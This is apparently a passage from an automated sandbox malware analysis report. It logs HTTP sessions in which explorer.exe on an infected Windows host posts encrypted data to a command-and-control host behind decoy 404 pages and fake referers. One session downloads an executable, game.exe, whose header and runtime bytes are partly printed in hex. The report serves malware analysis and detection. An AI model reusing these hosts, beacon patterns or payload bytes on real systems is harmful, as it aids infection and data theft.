63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49780	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:09.771330118 CET	3036	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tevvfr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 241 Host: host-data-coin-11.com
Dec 1, 2021 09:14:09.771481991 CET	3036	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 46 bc c0 26 Data Ascii: nIF}0?7XknwmDu$f]dF&El)\|[H5wCM@3Q,eL_2O5W9j!D1E5MGP`?s\|2sZvB+0F:KY 7'e.vf8=VX?g#W
Dec 1, 2021 09:14:09.873147964 CET	3037	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49781	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:09.991312027 CET	3037	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aryonwruu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 183 Host: host-data-coin-11.com
Dec 1, 2021 09:14:09.993022919 CET	3038	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 0e be b5 35 Data Ascii: nIF}0?7XknwmDu$f]d5T#ho4UpGC,5~]oq'B?fRw G{wp+P!L1>D^-kWs$4-V
Dec 1, 2021 09:14:10.090151072 CET	3038	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49782	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:10.177675962 CET	3039	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vefoyiify.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 152 Host: host-data-coin-11.com
Dec 1, 2021 09:14:10.177707911 CET	3039	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 10 b4 b2 2f Data Ascii: nIF}0?7XknwmDu$f]d/Y#<\+3%\YJ%VC?8RTzX1P1-)2O&9+/
Dec 1, 2021 09:14:10.281600952 CET	3039	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f6 e8 24 e5 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OU&1UPJ$dP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49783	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:10.409068108 CET	3040	OUT	GET /game.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: host-file-host-3.com
Dec 1, 2021 09:14:10.491420031 CET	3041	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:10 GMT Content-Type: application/x-msdos-program Content-Length: 351744 Connection: close Last-Modified: Wed, 01 Dec 2021 08:14:01 GMT ETag: "55e00-5d21141ab62f3" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bf 4f 57 03 fb 2e 39 50 fb 2e 39 50 fb 2e 39 50 68 60 a1 50 fa 2e 39 50 94 58 92 50 d5 2e 39 50 94 58 a7 50 e2 2e 39 50 94 58 93 50 79 2e 39 50 f2 56 aa 50 f8 2e 39 50 fb 2e 38 50 18 2e 39 50 94 58 96 50 fa 2e 39 50 94 58 a3 50 fa 2e 39 50 94 58 a4 50 fa 2e 39 50 52 69 63 68 fb 2e 39 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 5f 95 6a 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 fe 03 00 00 40 09 00 00 00 00 00 30 d0 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0d 00 00 04 00 00 51 3b 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 f9 03 00 28 00 00 00 00 e0 0c 00 70 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0d 00 38 1d 00 00 c0 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 c5 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ae fd 03 00 00 10 00 00 00 fe 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 cc 08 00 00 10 04 00 00 de 00 00 00 02 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 41 00 00 00 e0 0c 00 00 42 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 3b 00 00 00 30 0d 00 00 3c 00 00 00 22 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 fc 03 00 a6 fc 03 00 ba fc 03 00 ce fc 03 00 dc fc 03 00 f0 fc 03 00 06 fd 03 00 24 fd 03 00 3a fd 03 00 4a fd 03 00 5c fd 03 00 7c fd 03 00 92 fd 03 00 a4 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$OW.9P.9P.9Ph`P.9PXP.9PXP.9PXPy.9PVP.9P.8P.9PXP.9PXP.9PXP.9PRich.9PPEL_j`@0@pQ;(pA08@l.text `.data@@.rsrcpAB@@.reloc;0<"@B$:J\\|
Dec 1, 2021 09:14:10.491475105 CET	3043	IN	Data Raw: fd 03 00 ba fd 03 00 c8 fd 03 00 e0 fd 03 00 ee fd 03 00 00 fe 03 00 10 fe 03 00 22 fe 03 00 30 fe 03 00 44 fe 03 00 60 fe 03 00 7e fe 03 00 90 fe 03 00 9e fe 03 00 b6 fe 03 00 ca fe 03 00 e8 fe 03 00 00 ff 03 00 22 ff 03 00 34 ff 03 00 42 ff 03 Data Ascii: "0D`~"4BZf(BThx,<N^x8Rbr
Dec 1, 2021 09:14:10.491512060 CET	3044	IN	Data Raw: 00 26 00 26 00 20 00 21 00 5f 00 74 00 6d 00 5f 00 75 00 6e 00 69 00 63 00 6f 00 64 00 65 00 5f 00 73 00 61 00 66 00 65 00 28 00 66 00 6e 00 29 00 29 00 29 00 29 00 00 00 70 00 75 00 74 00 73 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 Data Ascii: && !_tm_unicode_safe(fn))))putsf:\dd\vctools\crt_bld\self_x86\crt\src\puts.c(string != NULL)CorExitProcessmscoree.dllf
Dec 1, 2021 09:14:10.491552114 CET	3046	IN	Data Raw: 00 0a 00 00 00 00 00 52 00 36 00 30 00 33 00 30 00 0d 00 0a 00 2d 00 20 00 43 00 52 00 54 00 20 00 6e 00 6f 00 74 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 64 00 0d 00 0a 00 00 00 00 00 52 00 36 00 30 00 32 00 38 00 0d Data Ascii: R6030- CRT not initializedR6028- unable to initialize heapR6027- not enough space for lowio initializa
Dec 1, 2021 09:14:10.491590023 CET	3047	IN	Data Raw: 00 b0 1b 40 00 1b 00 00 00 40 1b 40 00 1c 00 00 00 f0 1a 40 00 1e 00 00 00 b0 1a 40 00 1f 00 00 00 e8 19 40 00 20 00 00 00 80 19 40 00 21 00 00 00 90 17 40 00 78 00 00 00 6c 17 40 00 79 00 00 00 50 17 40 00 7a 00 00 00 34 17 40 00 fc 00 00 00 2c Data Ascii: @@@@@@ @!@xl@yP@z4@,@@Microsoft Visual C++ Runtime Librarywcscat_s(outmsg, (sizeof(outmsg) /
Dec 1, 2021 09:14:10.491628885 CET	3048	IN	Data Raw: 00 69 00 73 00 75 00 61 00 6c 00 20 00 43 00 2b 00 2b 00 20 00 44 00 65 00 62 00 75 00 67 00 20 00 4c 00 69 00 62 00 72 00 61 00 72 00 79 00 00 00 00 00 5f 00 43 00 72 00 74 00 44 00 62 00 67 00 52 00 65 00 70 00 6f 00 72 00 74 00 3a 00 20 00 53 Data Ascii: isual C++ Debug Library_CrtDbgReport: String too long or IO Errorwcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String
Dec 1, 2021 09:14:10.491668940 CET	3050	IN	Data Raw: 63 72 74 5c 73 72 63 5c 69 6e 70 75 74 2e 63 00 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 55 00 73 00 65 00 64 00 3c 00 3d 00 28 00 2a 00 70 00 6e 00 46 00 6c 00 6f 00 61 00 74 00 53 00 74 00 72 00 53 00 7a 00 29 00 00 00 00 00 28 Data Ascii: crt\src\input.cnFloatStrUsed<=(pnFloatStrSz)("Invalid Input Format",0)_input_s_lClientIgnoreCRTNormalFree+@+@+@+@@Error: memory allocation:
Dec 1, 2021 09:14:10.491707087 CET	3051	IN	Data Raw: 00 55 00 73 00 65 00 72 00 44 00 61 00 74 00 61 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 5f 00 70 00 46 00 69 00 72 00 73 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 20 00 3d 00 3d 00 20 00 70 00 48 00 65 00 61 00 64 00 00 00 5f 00 70 Data Ascii: UserData != NULL_pFirstBlock == pHead_pLastBlock == pHeadpHead->nBlockUse == nBlockUsepHead->nLine == IGNORE_LINE &&
Dec 1, 2021 09:14:10.491745949 CET	3053	IN	Data Raw: 63 61 74 69 6f 6e 20 77 72 6f 74 65 20 74 6f 20 61 20 68 65 61 70 20 62 75 66 66 65 72 20 74 68 61 74 20 77 61 73 20 66 72 65 65 64 2e 0a 00 00 00 00 00 00 00 48 45 41 50 20 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 Data Ascii: cation wrote to a heap buffer that was freed.HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).DAMAGED_heapchk fails with un
Dec 1, 2021 09:14:10.491803885 CET	3054	IN	Data Raw: 74 5c 73 72 63 5c 74 69 64 74 61 62 6c 65 2e 63 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 46 6c 73 41 6c 6c 6f 63 00 00 00 00 4b 00 45 00 52 00 4e 00 45 00 4c 00 33 00 32 00 2e 00 44 Data Ascii: t\src\tidtable.cFlsFreeFlsSetValueFlsGetValueFlsAllocKERNEL32.DLLf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.cf:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
Dec 1, 2021 09:14:10.549945116 CET	3055	IN	Data Raw: 00 6e 00 76 00 70 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 Data Ascii: nvpf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.cf:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.cf:\dd\vctools\crt_bld\self_x86

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49784	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:12.617144108 CET	3406	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://guokyvqq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 284 Host: host-data-coin-11.com
Dec 1, 2021 09:14:12.617182970 CET	3406	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8c 66 5d 02 c9 a1 c1 64 5c dd a6 66 Data Ascii: nIF}0?7XknwmDu$f]d\fepN@dRU?0\m9L@1Tz9 >Chv)`@+o1MtnWKz{=2H(\|M{FD8Esb/g`-%TI\aEK]
Dec 1, 2021 09:14:12.721808910 CET	3407	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49785	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:12.811054945 CET	3407	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sdcdogt.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: host-data-coin-11.com
Dec 1, 2021 09:14:12.811064005 CET	3408	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 2d d5 d2 3b Data Ascii: nIF}0?7XknwmDu$f]d-;EykMXZ^+R\+n[d"RS}xU",:%o(){S@uV:Gm!y<oX=x\!&e_H5@PzTqOqe$t v^d0/O
Dec 1, 2021 09:14:12.912240982 CET	3408	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49758	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:13:55.520081043 CET	1081	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gqnrsjcd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 140 Host: host-data-coin-11.com
Dec 1, 2021 09:13:55.520102024 CET	1081	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 10 df 98 7e Data Ascii: nIF}0?7XknwmDu$f]d~F#`f,:\~C`OGG/k2H<*Cg""hcYc
Dec 1, 2021 09:13:55.621822119 CET	1082	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:13:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49786	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 09:14:12.998963118 CET	3409	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vfrmk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: host-data-coin-11.com
Dec 1, 2021 09:14:12.999155998 CET	3410	OUT	Data Raw: 10 87 8a e3 6e f5 a2 ba b9 49 0e 46 7d cd 97 f3 30 13 df 3f d3 37 1e 98 c8 eb de 82 f8 a2 90 83 1e ba 58 d3 6b 6e b8 e6 e8 a8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 33 a3 ce 77 Data Ascii: nIF}0?7XknwmDu$f]d3w'`NKAlDj^vhDV0;1T%CF48WyHk4FZPWW4>>\|^s}Ec#`LiEE`Yd>~gq(f*X=
Dec 1, 2021 09:14:13.097769976 CET	3410	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 08:14:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49787	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
